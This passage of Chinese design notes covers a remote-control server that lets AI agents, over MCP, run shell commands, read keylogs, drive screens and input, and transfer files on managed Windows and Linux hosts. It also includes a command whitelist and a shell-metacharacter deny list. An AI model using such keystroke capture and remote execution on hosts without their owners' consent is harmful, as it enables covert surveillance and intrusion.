### 13.8 证书类型与证书链(2026-10-26 补齐)
早期实现只认 RSA:私钥一律按 `BCRYPT_RSAFULLPRIVATE_BLOB` 导出后再写入持久化键,遇到 ECDSA 证书(Let's Encrypt 自 2024 年起默认签发 P-256)会在导出处拿 `NTE_BAD_TYPE (0x8009000a)` 并报错退出。现在按**证书公钥类型**分两路落盘(`ServerTlsSession.cpp` 的 `BuildIdentity`):
| 证书公钥 | 落盘方式 |
|---|---|
| RSA | 导入 PKCS#8 为临时键 → 导出 `BCRYPT_RSAFULLPRIVATE_BLOB` → `NCryptCreatePersistedKey` + `NCryptSetProperty` + `NCryptFinalizeKey` |
| ECDSA(P-256/P-384/P-521) | 导入 PKCS#8 时在参数表里给出键名(`NCRYPTBUFFER_PKCS_KEY_NAME`),MS Software KSP 直接持久化 |
ECDSA 这条是 MS Software KSP 唯一可行的一条,其余几条均已实测不通:`NCryptCreatePersistedKey` 后写 EC 私钥 BLOB,`SetProperty` 返回 0 但 `Finalize` 给 `NTE_INVALID_PARAMETER (0x80090027)`;导入后再 `NCryptSetProperty(NCRYPT_NAME_PROPERTY)` 给 `NTE_NOT_SUPPORTED (0x80090029)`(不带键名即匿名临时键,Schannel 用不上);把临时键句柄经 `CERT_KEY_CONTEXT_PROP_ID` 挂到证书上,Schannel 报 `SEC_E_NO_CREDENTIALS (0x8009030e)`。`NCRYPTBUFFER_PKCS_KEY_NAME` 的值必须**含结尾 NUL**,少了同样报 0x80090027。曲线只支持具名 P-256/P-384/P-521,显式参数形式的曲线会带明确报错退出。
**证书链**:Schannel 的握手在进程外完成,建链时只查系统证书库——fullchain 里的中间证书塞进叶证书自带的内存库或 `paCred` 数组都不会被下发(实测只发叶证书,缺中间证书的客户端建链失败)。因此加载身份时把 fullchain 第 2 张起的证书补进「当前用户\中间证书颁发机构」库(`Cert:\CurrentUser\CA`,已在库中则跳过;.NET 的 `SslStreamCertificateContext` 也是这么做的),Schannel 建好链后随握手下发。证书文件因此可以、也建议写成「叶证书 + 中间证书」的 fullchain(Let's Encrypt 的 `fullchain.pem` 即如此)。副作用:进程所在账户的 CA 库里会多出这些中间证书(公开信息,留在库里无害)。
## 14. 增补(2026-10-26:结果外露 —— `content` 同时携带结构化 JSON)
### 14.1 问题
改造前,列表/查询类工具的 `content` 只有一句可读摘要(“共 1 台主机匹配。”),真正的载荷(`hosts[]`、`processes[]`、`files[]`、`session_id`……)只在 `structuredContent` 里。MCP 规范(Tools → Structured Content)明确建议:**返回 `structuredContent` 的工具应同时把序列化后的 JSON 放进一个 `TextContent` 块**,正是为了这种只把 `content` 交给模型的客户端。实测 WorkBuddy 就属这类:它把 `search_hosts` 的结果格式化成“共 1 台主机匹配”交给模型,`id` 完全不可见,于是后续 `get_host_detail` / `exec_command` / 终端 / 远程控制全部无从下手(用户侧表现为模型去猜 1–3100 的 id,而主机 id 是 64 位雪花值,如 `986530101822679521`,猜测不可能命中)。
### 14.2 实现
- `McpInternal::BuildResult` 统一收口:结果里 `structuredContent` 为非空对象/数组时,追加一个 `{type:"text", text:"<紧凑JSON>"}` 块到 `content` 末尾。所有工具(含 `McpMachine.cpp` / `McpChat.cpp` 的 `BuildStructuredResult` 漏斗)自动生效,新增工具无需额外处理;空 `{}`(`remote_mouse` 这类动作结果)不追加。
- 正文已经承载同一份载荷的工具用 `SetStructuredTextPayload(result, payload)` 只外露差异部分,避免同一内容在上下文里出现两三次:
| 工具 | 外露的文本块 |
|---|---|
| `exec_command` / `terminal_exec` | `{"exit_code":N}`(stdout 已在正文里) |
| `get_keylog` | `id` / `duration_ms` / `bytes` / `lineCount` / `truncated`(行内容已在正文里,最多 16 KB) |
| `get_activity_history` | `{"records":[…]}`(`activityHistory` 与 `records` 是同一份数据的两种形态) |
| `host_get_hosts_file` | `lines` + 元数据(不再重复 `content` 原文) |
- 控制键以 `$structuredTextPayload` 成员的形式挂在 result 上,`BuildResult` 消费后立即 `removeMember`,不会出现在响应里。
- 列表类工具本就有 `limit/offset` 分页,补出来的 JSON 与 `structuredContent` 同量级,不会失控。
### 14.3 验证
Debug 实例(`Bin\Yama_x64d.exe`,临时端口)实测:`list_all_hosts` 的 `content[1]` 含完整主机 JSON(`id` / `ip` / `last_seen` …),`get_server_status` 的 `content[1]` 是 `{"status":{…}}`,`search_hosts` 空结果时是 `{"hasMore":false,"hosts":[],…}`;`content[0]` 的既有摘要文案一字未改。
### 14.4 影响面
- 响应体积:列表类工具约翻倍(分页上限内),执行类工具只多一个退出码字段。
- 既有断言不受影响:摘要仍在 `content[0]`,内部批量工具(`ids` 批量调用)仍只读 `content[0].text` 并另取 `structuredContent`。
## 15. 增补(2026-10-26:`copy_files_c2c` 客户端间直传)
第 54 个工具:把文件从一台客户端**直接**发到另一台,服务端只做包中继,不落盘。复用 V2 文件传输的 C2C 通道(`FileChunkPacketV2.dstClientID != 0`),新增协议号 `COMMAND_C2C_SEND_FILES=174`(服务端给源端下路径清单)、`TOKEN_C2C_SEND_RESULT=175`(源端回传发送结果),以及能力位 `CLIENT_CAP_C2C_PATHS=0x0008`(老客户端因此被提前拒绝并提示升级)。
- 工具契约:`src_id` / `dst_id` / `paths[]` / `dst_dir` / 可选 `timeout_ms`;返回 `transfer_id` / `file_count` / `total_bytes` / `receiver_ack`。
- 开关:`McpFileTransfer=1 && McpReadonly=0`(会写远程),注解登记为破坏性 + 非只读,`McpInternal` 的 gating 表同步。
- 源端必须是 Windows 客户端(`-32005`);目标端可以是 Windows / Linux / macOS(2026-10-27 起)。POSIX 目标给绝对 POSIX `dst_dir`(`/tmp/recv`),服务端在建会话前校验形态,非法 `-32602`。
- `receiver_ack`:Linux 目标端落盘后会回一包 `TOKEN_C2C_RECV_RESULT=176`(能力位 `CLIENT_CAP_C2C_RECV_ACK=0x0010`),`true` 表示目标端确认写入、`total_bytes` 是实收值;写入失败统一 `-32011`(带 status/errno)。Windows/macOS 目标端不回执,仍为 `false`,需 `list_files` 复核。
- 实施中一个坑:服务端既有的 C2C 中继分支会在源端子连接上挂进度对话框,而 `NotifyProc` 对挂了 `hDlg` 的连接会把后续包交给对话框——源端最后那包结果就被当 V1 文件块吃掉,工具只能超时。现按「该 host 是否有 MCP 的 C2C 会话」跳过对话框,MFC 手动 C2C 不变。
- 协议细节、落盘路径语义(`dst_dir` + 相对公共父目录,Windows 与 POSIX 两种目标端)、回执与错误码映射(含 `-32011`)、限制与实测见 [Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md) §14。
## 16. 增补(2026-10-27:`download_file` / `upload_file` 支持 Linux/macOS 主机)
此前两个工具把 LNX/MAC 目标端直接拒掉(`-32005`)。现在放开,改动集中在服务端的路径门禁与 POSIX 接收端:
- **`upload_file` 不需要客户端新指令**:Linux/macOS 的文件接收走 `common/FileTransferV2.h`,`dstClientID != 0` 的包按 C2C 语义落盘,目录由包里的 name 派生。服务端按 `RES_CLIENT_TYPE` 校验 `remote_dir`:POSIX 目标必须是绝对 `/…`、不含 `\`、不含 `..` 段(`-32602`);Windows 目标行为不变。
- **`download_file`**:POSIX 文件管理器(`common/FileManager.h`)补齐两块——每个文件末尾发 `FileCompletePacketV2`(流式 SHA-256,新增 `common/sha256_posix.h`;读失败/截断不发,不谎报校验通过),以及下载失败时回 `TOKEN_DOWNLOAD_ERROR`(errno→win32,服务端转成 `-32009`/`-32010`,不用等停滞看门狗)。
- **`upload_file` 的 `receiver_ack`**:Linux 目标端会回 `TOKEN_C2C_RECV_RESULT=176`,服务端在发送完成后等 ≤5 s,`true` 表示已确认写入;回执报错 `-32011`;声明会回执却不回(且传输含字节)`-32001`。Windows/macOS 目标端仍恒为 `false`。
- **空文件**:worker 对 0 字节文件只发完成包(无路径字段),POSIX 接收端无从建文件。服务端只对 POSIX 目标补一个长度 0 的末块,接收端据此建空文件;Windows 目标的空文件仍不落地(V2 协议既有边界,未改)。
- 顺带修掉一个下载完成判定的边界:条目顺序由客户端决定,目录可能排在文件之后(如空子目录),`OnFileChunkV2` 改为按 `filesDone + directoryCount >= totalFiles` 判完成,不再出现「文件全部收完还干等超时」。
- 协议细节、POSIX 路径规则、错误码新语义与实测(含 3 MB 二进制、中文名、空文件、空目录的 SHA-256 往返)见 [Mcp_FileTransfer_Design.md](./Mcp_FileTransfer_Design.md) §15。
## 17. 增补(2026-10-27:档 1 工具支持 Linux 客户端)
Linux 客户端(`LNX`)早已实现下面这些工具的**线上协议**,只是服务端按客户端类型一律拒绝。本次只放开服务端的判定,**不改 Linux 客户端、不加能力位**:
| 工具 | 线上协议(已存在) | 服务端改动 |
|---|---|---|
| `kill_process` | 主连接 `COMMAND_SYSTEM` → 子连接 `TOKEN_PSLIST` → `COMMAND_KILLPROCESS` + PID 数组 → 刷新列表(`linux/SystemManager.h`,`kill(SIGKILL)`,忽略 `pid<=1`) | 只拒绝 `MAC`/`APK` |
| `exec_command` | `COMMAND_SHELL` → `TOKEN_TERMINAL_START` → PTY(`common/PTYHandler.h`,`bash -i`) | 只拒绝 `MAC`;POSIX 白名单 / 元字符集 / 哨兵(§12.1) |
| `terminal_open` / `terminal_exec` / `terminal_close` | 同上,`CMD_TERMINAL_RESIZE` + `COMMAND_NEXT` 启动读线程 | 只拒绝 `MAC`;`posix` 透传到哨兵与编码(UTF-8) |
| `remote_open` / `remote_close` / `remote_mouse` / `remote_keyboard` / `remote_clipboard` | `COMMAND_SCREEN_SPY` → `TOKEN_BITMAPINFO` → `COMMAND_SCREEN_CONTROL` + `MSG64_LNX`(`linux/ScreenHandler.h`,XTest 注入);剪贴板 `COMMAND_SCREEN_SET_CLIPBOARD` | 只拒绝 `MAC`;输入事件改为**一条一包**(见下) |
要点:
- **POSIX 默认白名单是独立的一份**(`kDefaultCmdWhitelistPosix`):同名的 POSIX 命令语义与 Windows 不同(`find` 能 `-exec`、`hostname` 能改名、`sort -o` 能写文件),因此只收「参数也基本只读」的命令。`env` **刻意不收**——`env <程序>` 等于执行任意命令,会让白名单形同虚设。管理员显式配置 `McpCmdWhitelist` 时两种平台共用配置(配置者自负其责)。
- **元字符集按平台分开**:Linux 拒绝 `& | < > ;` 与反引号、`$(` `${` `!`(`!` 在交互式 bash 里触发历史展开);`^` 在 POSIX 里不是元字符,因此 `grep -v ^# /etc/hosts` 这类只读命令在 Linux 上可用,Windows 上仍按原规则拒绝。
- **输入事件一条一包**:协议允许 `[COMMAND_SCREEN_CONTROL][MSG64*N]` 批量,Windows 客户端(`CScreenManager::ProcessCommand`)也支持批量;但 `linux/ScreenHandler.h` 只处理包内第一条,批量会让 `key_press` 只按下不抬起(X11 自动重复)、`click` 只按下、`type` 只打首字符。服务端因此按消息拆包(`SendScreenCtrlEvents`),对 Windows 完全等价(它本来就一条一条处理),新老 Linux 客户端也都不用升级。
- **`remote_keyboard` 的 `type` 仍是 ASCII-only**:Linux 侧 `VKtoKeySym` 把 VK 映射为 keysym 后走 XTest,IME 组合输入做不到;非 ASCII 走 `remote_clipboard` + `Ctrl+V`(Linux 客户端把服务端下发的 GBK 转回 UTF-8 再调 `xclip`/`xsel`,需要 X11 桌面)。
- **限制**:纯 Wayland 会话无法抓屏/注入(要 X11 或 XWayland);多显示器仍按 §7.2 拒绝(Linux 客户端心跳里 `RES_RESOLUTION` 依赖 `xrandr`,没有 `xrandr` 的系统上报 `0:0*0`,按「无法判定」放行);`remote_*` 需要安装 `libX11` + `libXtst`,剪贴板需要 `xclip`/`xsel`。
- **验收**(Debug 实例 + WSL Ubuntu 24.04 客户端,WSLg `DISPLAY=:0`):`exec_command` 真实退出码(`ls` 不存在路径 → 2)、`-32007`/`-32008` 负例、`grep -v ^#` 放行、输出无提示符噪声;持久终端 `cd`/环境变量保持、`false` → 1、`;` 串联取末条、`close` 幂等;`kill_process` 杀死自己起的 `sleep` 且 `remaining` 为空、`pid 1` 被跳过;`remote_open` 返回 3840x1140、`remote_mouse` 归一化 (0.5,0.5) 落在 (1920,570)、`xev` 观测到按键/按钮成对、剪贴板中文往返 UTF-8 一致。Windows 客户端同批工具回归无变化。
+599
View File
@@ -0,0 +1,599 @@
# YAMA MCP 文件传输功能设计(download_file / upload_file / copy_files_c2c)
> **状态**:设计定稿(经专家审查修订,结论见 §13)。`download_file`(P1)已实施并验收;`upload_file`(P2)已实施(详见 §7,评审修订见 §13.1)。`copy_files_c2c`(P3,客户端间直传、服务端只中继)已实施(见 §14)。`download_file` 采用 **V2 文件传输协议**(`CMD_DOWN_FILES_V2` + 流式子连接 + SHA-256 校验),`upload_file` 复用服务端既有 `FileBatchTransferWorkerV2`(主连接同步驱动),`copy_files_c2c` 复用 V2 的 C2C 中继(`dstClientID != 0`)。三者共享同一套「文件会话」注册表。
> **读者**:MCP 后续功能研发/评审人员。
> **关联文档**:[Mcp_Phase2_Design.md](./Mcp_Phase2_Design.md)(双模式无头驱动机制)、[FILE_TRANSFER_V2.md](./FILE_TRANSFER_V2.md)(V2 协议清单)、[Mcp_Design.md](./Mcp_Design.md)(Phase 1 协议/架构/配置)。
---
## 1. 背景与目标
MCP 目前已暴露 `list_files`(只读列目录,`McpServer.cpp:1741`),但**没有文件传输工具**:把远程主机的文件/目录拉回主控本机(下载),或把本机文件推到远程(上传),只能通过 GUI 文件管理器手工操作。
本技术书解决:
1. **`download_file`**(本期 P1)——远程文件/目录 → 主控本机指定目录,复用 V2 推送协议,带 SHA-256 完整性校验、支持大文件。
2. **`upload_file`**(后续 P2)——主控本机文件/目录 → 远程指定目录,复用服务端 V2 发送器。
3. **一套共享的「流式文件会话」基础设施**——一次投入,下载/上传两处受益,镜像现有终端(`TermSession`)与远程控制(`ScreenCtrlSession`)会话模式。
---
## 2. 现状回顾
| 能力 | 现有协议/命令 | 服务端现有实现 | 是否暴露给 MCP |
|---|---|---|---|
| 远程列目录 | `COMMAND_LIST_DRIVE`→`TOKEN_DRIVE_LIST`;`COMMAND_LIST_FILES`→`TOKEN_FILE_LIST` | `McpServer.cpp:1741`(`list_files`) | ✅ |
| 远程→本地下载(V1) | `COMMAND_DOWN_FILES`(`commands.h:166`) + `TOKEN_FILE_SIZE/DATA/FINISH` | `FileManagerDlg.cpp:2164` / `file/CFileManagerDlg.cpp:1136` | ❌ 仅 GUI |
| 远程→本地下载(V2) | `CMD_DOWN_FILES_V2`(94, `commands.h:260`) + `COMMAND_SEND_FILE_V2`(85) + `COMMAND_FILE_COMPLETE_V2`(91) | `FileManagerDlg.cpp:3337-3384`(下发)、`2756`(`RecvFileChunkV2` 落盘) | ❌ 仅 GUI |
| 本地→远程上传(V2) | `FileBatchTransferWorkerV2`(服务端作 sender) | `2015RemoteDlg.cpp:7572` | ❌ 仅 GUI |
### 2.1 关键事实
1. **V2 下载的客户端会另开一条新子连接**:`client/FileManager.cpp:1101-1190` `UploadToRemoteV2()` 解析完文件列表后,`new IOCPClient(...)` → `EnableSubConnAuth()` → `ConnectServer(...)`(`FileManager.cpp:1170-1172`),在**独立鉴权子连接**上推 `COMMAND_SEND_FILE_V2` 分块 + `COMMAND_FILE_COMPLETE_V2` 校验包。即下载 ≠ 复用文件管理器那条子链接,而是一条**持续流子链接**——正属 `Mcp_Phase2_Design.md §4.3` 当初判定「本期不做」的流式能力。
2. **接收端 `RecvFileChunkV2` 无 UI 可调**:`CDlgFileSend.cpp:128` 已 `RecvFileChunkV2(buf, len, nullptr, nullptr, hash, hmac, 0)` 无头落盘;落盘状态在 `SimplePlugins/file_upload.cpp` 内部按 `transferID` 自维护,天然适合 MCP 无头复用。
3. **V2 落盘路径由客户端回填**:`CMD_DOWN_FILES_V2` 的 `targetDir` 是**主控本机**保存目录(`FileManagerDlg.cpp:3370` `m_Local_Path`);客户端把它拼进每个 chunk 的 `filename` 发回,服务端 `RecvFileChunkV2` 直接按该完整路径写盘。因此「下载保存到哪」由服务端在命令里指定、客户端原样回填。
---
## 3. 协议选型(已定:V2)
| 维度 | **V2 推送(选定)** | V1 拉取(回退) |
|---|---|---|
| 命令 | `CMD_DOWN_FILES_V2` + `COMMAND_SEND_FILE_V2` + `COMMAND_FILE_COMPLETE_V2` | `COMMAND_DOWN_FILES` + `TOKEN_FILE_SIZE/DATA/FINISH` |
| 连接 | 客户端新开一条鉴权流式子连接 | 复用文件管理器子链接 |
| 完整性 | ✅ SHA-256(`COMMAND_FILE_COMPLETE_V2`) | ❌ 无 |
| 大文件 | ✅ 64 位偏移,>4GB | 64 位偏移但无校验 |
| 客户端代码 | ✅ 已存在,是当前 GUI 正规路径 | ⚠️ 遗留路径 |
| MCP 侧复杂度 | 需路由一条**新流式子连接**(新增会话注册表) | 需在 `MessageHandle` 维护「发 CONTINUE/收 DATA」状态机,逐块 ACK 慢 |
**结论:采用 V2。** 代价是服务端要新增「流式文件会话」注册与路由;但这是 `upload_file` 同样要复用的基础设施,一次投入两处受益。V1 仅作「不想引入新子连接路由」时的降级备案,不在本期实现。
---
## 4. 设计原则
1. **复用现有协议,不新造命令**:`CMD_DOWN_FILES_V2`、`COMMAND_SEND_FILE_V2`、`COMMAND_FILE_COMPLETE_V2`、`COMMAND_LIST_DRIVE` 全部为 `common/commands.h` 既有;客户端零改动(upload 方向例外:`COMMAND_SEND_FILE_V2` 需懒初始化文件模块,见 §7.8)。
2. **无头接管复用会话模式**:镜像 `McpServer.h` 的 `TermSession` / `ScreenCtrlSession`,新增 `FileTransferSession`;`MessageHandle` 用 `IsFileTransferContext(context*)` 判定是否路由到 MCP 无头落盘,否则回落 GUI 进度框。
3. **单设备单传输会话**:与终端/远程控制一致,避免同 host 并发传输的归属歧义;并发返回 `-32003 Device busy`。
4. **超时与清理是硬约束**:大文件传输是长任务,超时需独立于 `kMcpToolTimeoutMs`(20s);断线/超时必须清会话 + 关子链接 + 删半成品文件。
5. **输出 schema 先行**:两个工具先在 `tools/list` 声明完整 `inputSchema`/`outputSchema`。
---
## 5. 核心机制:流式文件会话
### 5.1 会话注册表(`McpServer.h/.cpp`)
```cpp
struct FileTransferSession {
std::string tool; // "download_file" / "upload_file"
std::string localDir; // download: 本机落盘目录(规范化后绝对路径,用于穿越校验)
std::string remotePath; // 审计用原始远程路径(UTF-8)
uint64_t transferID = 0; // 绑定后从首包填充(download);upload 由本端 GenerateTransferID()
uint32_t totalFiles = 0; // 完成判定:首个 COMMAND_SEND_FILE_V2 chunk 的 totalFiles(§13 F4)
uint32_t filesDone = 0; // 完成判定:累计收到的 COMMAND_FILE_COMPLETE_V2 数
bool done = false;
int error = 0; // FEV2_* / 自定义
std::vector<FileEntry> files; // {path, size} 已落盘/已发送文件
std::vector<FileEntry> skipped; // overwrite=false 时跳过的同名文件
time_t startAt = 0;
};
std::mutex m_FileXferMutex;
std::map<uint64_t, FileTransferSession> m_FileXferSessions; // device_id → 会话
```
> **取消 `m_FileXferContextToDevice` 映射与 `IsFileTransferContext(context*)`**:流式子连接经 `TOKEN_CONN_AUTH` 已把 `clientID` 钉在 `ContextObject` 上(`2015RemoteDlg.cpp:6411 SetID`),分派时直接用 `ContextObject->GetClientID()` 定位 `device_id`,无需 context 路由表(§13 F1)。
配套接口(与 `BeginTermPending` / `OnTerminalData` / `WaitTerminalDone` 同构):
```cpp
bool BeginFileTransferPending(uint64_t device_id, const std::string& tool,
const std::string& localDir, const std::string& remotePath);
bool IsFileTransferPending(uint64_t device_id); // 分支顶部守卫
void OnFileChunkV2(uint64_t device_id, const BYTE* buf, ULONG len); // 路径校验 + 无头 RecvFileChunkV2
void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
```
### 5.2 流式子连接的路由(device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle` 按 `ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`)。MCP 只需在这两个 case 的 **`dstClientID==0`(M2C)分支顶部**加守卫:
```cpp
case COMMAND_SEND_FILE_V2: {
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
if (pkt->dstClientID == 0) {
uint64_t devId = ContextObject->GetClientID();
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
McpServer().OnFileChunkV2(devId, szBuffer, len);
break; // 不建 CDlgFileSend、不设 hDlg
}
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete)不变
}
// ... C2C 分支(dstClientID != 0)完全不动
}
```
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**:`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接(数据走新流式子连接,§13 F3)。
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1,§13 F7)。
---
## 6. `download_file` 设计(P1)
### 6.1 工具 Schema
```
input: {
id: string (必填, 主机 id)
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
total_bytes: integer
skipped: integer
}
```
### 6.2 时序
```
MCP工具线程 服务端 MessageHandle 客户端
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
│ (客户端另开一条鉴权流式子连接 ConnectServer)
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
```
### 6.3 服务端改动
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明(§5.1)。
2. **`McpServer.cpp`**:
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)`(`tools/call` 分派);
- `OnFileChunkV2`:**先路径校验**(chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越,§13 F5)→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
- `OnFileCompleteV2`:`HandleFileCompleteV2` 校验 SHA-256 → `filesDone++`;`filesDone==totalFiles` 时置 `done` + `notify`(§13 F4);
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`,§13 F6);
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
3. **`2015RemoteDlg.cpp`(`MessageHandle`)**:`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2`。`TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0)。
### 6.4 落盘与路径安全
- 发 `CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory`;`targetDir` 用 ANSI(MBCS 构建本机路径)。
- 每收到一个 chunk,校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error` 并 `CancelIO`。
- 编码:`remote_path` 走 UTF-8→ANSI(936)(复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。POSIX 目标端的路径规则见 §15。
### 6.5 超时与并发
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12)。核心场景「先 `terminal_exec` 压缩成单 zip,再 `download_file` 拉回」天然是单文件,同步足够。
- 默认 `timeout_ms=600000`、上限 3600000,因大文件远超 `kMcpToolTimeoutMs`(20s)。
- **单飞互斥(§13 F2)**:`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`。
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
---
## 7. `upload_file` 设计(P2)
### 7.1 工具 Schema
```
input: {
id: string (必填, 目标主机 id)
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 已发送文件(远程完整路径);P2 sha256 恒为空串(见 §7.5)
total_bytes: integer
skipped: integer
}
```
### 7.2 方向与连接(与 download 的关键差异)
| 维度 | download_file(P1) | upload_file(P2) |
|---|---|---|
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
| 发送方 | 客户端(`UploadToRemoteV2` → `FileBatchTransferWorkerV2`) | 主控(`FileBatchTransferWorkerV2`) |
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**(`ctx->Send2Client`),无子连接 |
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`(SHA-256),客户端 `HandleFileCompleteV2` 校验 |
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8) |
> **修正旧稿(§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
### 7.3 时序
```
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
1. 校验 McpFileTransfer=1 && McpReadonly=0(§8)
2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
4. BeginFileUpload(id) 登记会话(单设备单传输互斥标记,§6.5)
5. 同步驱动(工具线程内):FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
```
### 7.4 服务端改动
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5)。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
2. **`McpServer.cpp`**:
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)`(`tools/call` 分派);
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}` 里 `parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`);
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38` 的 `ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
- overwrite 预检:复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`;
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)`;`opts.transferID=GenerateTransferID()`、`srcClientID=0`、`dstClientID=clientID`、`enableResume=false`;
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
3. **`2015RemoteDlg.cpp`(MessageHandle)**:**零改动**。
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在,§8 复用)。
### 7.5 完整性边界(诚实声明)
